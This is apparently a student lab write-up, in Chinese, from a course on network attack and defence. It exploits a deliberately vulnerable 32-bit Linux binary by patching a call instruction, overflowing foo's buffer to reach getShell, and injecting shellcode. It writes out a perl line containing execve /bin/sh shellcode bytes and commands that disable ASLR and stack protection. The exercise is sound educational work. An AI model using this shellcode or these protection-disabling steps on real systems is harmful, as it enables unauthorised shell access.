20165221 《网络对抗技术》EXP1 PC平台逆向破解

一.实验内容

  • 本次实践的对象是一个名为pwn1linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。但是该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下;

  • 直接修改程序机器指令,改变程序执行流程。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode

具体的实验步骤

直接修改程序机器指令,改变程序执行流程

  • 首先检查共享文件夹设置是否成功cd /mnt/hgfs

  • 通过共享文件夹把pwn1拷贝到虚拟机中,用指令对其进行备份,方便后面的实验中用到cp pwn1 pwn_1

  • 再对其进行反汇编objdump -d pwn_1 | more,将二进制转进行反汇编操作

  • 分析反汇编出来的代码,寻找到需要修改的对应代码的位置。

    1. 在main函数中找到call语句,call 8048491 <foo>,可以看出:

    调用的是地址为8048491的foo函数(箭头指向)。

    2. 对应找到这句call指令位于地址80484b5,对应机器码是e8 d7 ff ff ff,查表知道e8call(跳转)。

  • 使用命令vim pwn_1打开可执行文件,使用命令:%!xxd将其转换成十六进制文件

    1. 进入vim后,按i进入插入模式,按esc进入普通模式,即快捷模式.。
    2. 退出保存时,:wq再回车键,或者escshift+zz
  • 输入/e8d7找到要修改部分的代码,并对其进行修改,将d7修改为c3

  • 输入%!xxd -r将十六进制转换成为原格式,并保存退出。

  • 再输入反汇编指令objdump -d pwn_1,查看到call指令已经被修改为直接调用getShell

  • 再运行pwn_1文件,可以看到出现了shell提示符#

构造输入参数,造成BOF攻击,改变程序执行流

  • objdump -d pwn_2反汇编pwn_2文件
  • 找到需要替换的目的地址

  • 使用 per命令将输入的参数定向到BOF1中,使用|管道命令将输出的BOF作为pwn_2的输入
  • BOF攻击成功

注入Shellcode并执行

  • 准备工作:

    1. 关闭堆栈保护
    2. 关闭堆栈执行程序
    3. 关闭地址随机化
    4. 在x32环境之下
    5. 在Linux实践环境之下

      6.具体命令:
命令 作用
apt-get install execstack 安装execstack
exestack -s pwn_3 关闭堆栈执行保护
exestack -q pwn_3 查询文件堆栈是否可执行
more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化

  • 查找地址,在命令行输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,再输入(cat input_shellcode;cat) | ./pwn_3注入这段攻击



  • 在另一个终端中输入ps ef | grep pwn_3,来查找pwn_3的进程号为78857

  • 继续在另一个终端中用gdb对其进行调试,输入attach 78857

  • 通过disassemble foo查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae

  • 通过设置断点查看注入的位置

  • 将之前的|\x4\x3\x2\x1替换为ffffd380,按书写方式为\x80\xd3\xff\xff

  • 注入成功

遇到的问题

  • 共享文件夹设置不成功
询问同学和查看学长学姐博客,发现是自己的权限设置有问题。最后该问题已解决。

  • 刚开始做时,对一些基础指令不熟悉
指令 作用
objdump -d pwn_1 对pwn_1的二进制文件进行反汇编
:%!xxd 将二进制文件转换成为十六进制文件显示
perl -e 指定字符串以作为脚本(多个字符串迭加)执行
| 管道,把前者的输出作为后者的输入
NOP 90。空指令,CPU不做操作,继续执行NOP后面的一条指令
JNE 75。条件转移指令,若不相等则跳转
JE 74。条件转移指令,若相等则跳转
JMP 无条件转移指令。段内直接短转 Jmp short(EB) 段内直接近转移 Jmp near(E9) 段内间接转移 Jmp word(FF) 段间直接(远)转移 Jmp far(EA)
CM 比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
CALL E8,调用子程序。
  • 在进行实验三时,查找到进程号但是无法对其进行调试

实验整体思路总结

实验一:

  • main中的call语句会调用

    函数,需要我们手动修改机器指令,使call语句的调用由foo变为getshell

实验二:

  • 即main函数中的call语句调用完foo函数后,eip会执行main函数中的call指令的下一条指令,现在要将其修改为执行getshell的内存地址,即要知道foo函数的长度,并构造输入字符串。

实验三:

实验收获:

  • 这次的实验收获收获还是很多的,更多的是从原理上理解了缓存区溢出,该如何构造,而不是简单的通过指令操作机械的完成了实验,其中的指令只是一些辅助工具。
  • 漏洞及其危害:
    1. 我认为的漏洞应该是一种缺陷,可能是原理上的也可能是实现上的,总之能够让攻击者有机可乘。
    2. 可以使攻击者能够在未授权的情况下访问或破坏系统。
    3. 危害:结合信息安全技术的学习,危害可能有数据的覆盖丢失,病毒的植入,对本机进行监听,甚至获取你的个人信息造成经济上的损失。

参考资料

20165221 《网络对抗技术》EXP1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. Winform开发中对界面的组织布局

    在设计界面的时候,不管是在Web端,还是在Winform端,或者是WPF或者移动界面等应用上,我们对界面的组织布局,一直是比较有趣的话题,而组织界面的好坏从用户的感受来看,可以提供程序可使用性高低,也 ...

  2. keras03 Aotuencoder 非监督学习 第一个自编码程序

    # keras# Autoencoder 自编码非监督学习# keras的函数Model结构 (非序列化Sequential)# 训练模型# mnist数据集# 聚类 https://www.bili ...

  3. ubuntu linux 安装分区

    挂载点/:主分区:安装系统和软件:大小为150G:分区格式为ext4: 挂载点/home:逻辑分区:相当于"我的文档":150G大小为硬盘剩下的; 分区格式ext4: swap:逻 ...

  4. MySQL——合并查询结果

    利用  UNION 关键字,可以给出多条  SELECT  语句,并将它们的结果组合成一个结果集.合并时,两个表对应的列数和数据类型必须相同.SELECT 语句之间使用  UNION  或  UNIO ...

  5. Azure Function & AWS Function With C#

    Using C# with Azure Functions Two important prerequisites need to be met to build Azure Functions ap ...

  6. 【LOJ6515】贪玩蓝月

    题目大意 有一个双端队列,每个元素是一个物品,每个物品有体积和价值两个属性. 有 \(n\) 个操作,分为 \(5\) 种:前后端插入删除,还有询问:选出一些物品,满足这些物品的体积之和模 \(p\) ...

  7. gcc编译C源文件

    gcc编译C程序的主要过程是:预处理---编译---汇编---连接,其中:(以名为hello.c的源文件为例) 预处理:对各种预处理指令(#开头,如#include,#define)进行处理,以及删除 ...

  8. python第六天

    深浅拷贝,元祖,字典 ,集合的定义以及基本操作方法 深浅拷贝 # 值拷贝:应用场景最多​值拷贝:先创建一个列表ls = [1, 'abc', [10]] 再定义 ls1 = ls  此处ls1会直接将 ...

  9. MUI框架 按钮点击响应不好的问题解决办法

    MUI框架 按钮点击响应不好的问题 实际例子: $(function (){ mui(document.body).on('tap', '.bindchk', function(e) { //触发一次 ...

  10. Css(常用的特殊效果)

    一.前言 不得不说css真强大,总结了几个常用的css特殊效果 二.主要内容 1.几个特殊效果 $green = #02a774; $yellow = #F5A100; $bc = #e4e4e4; ...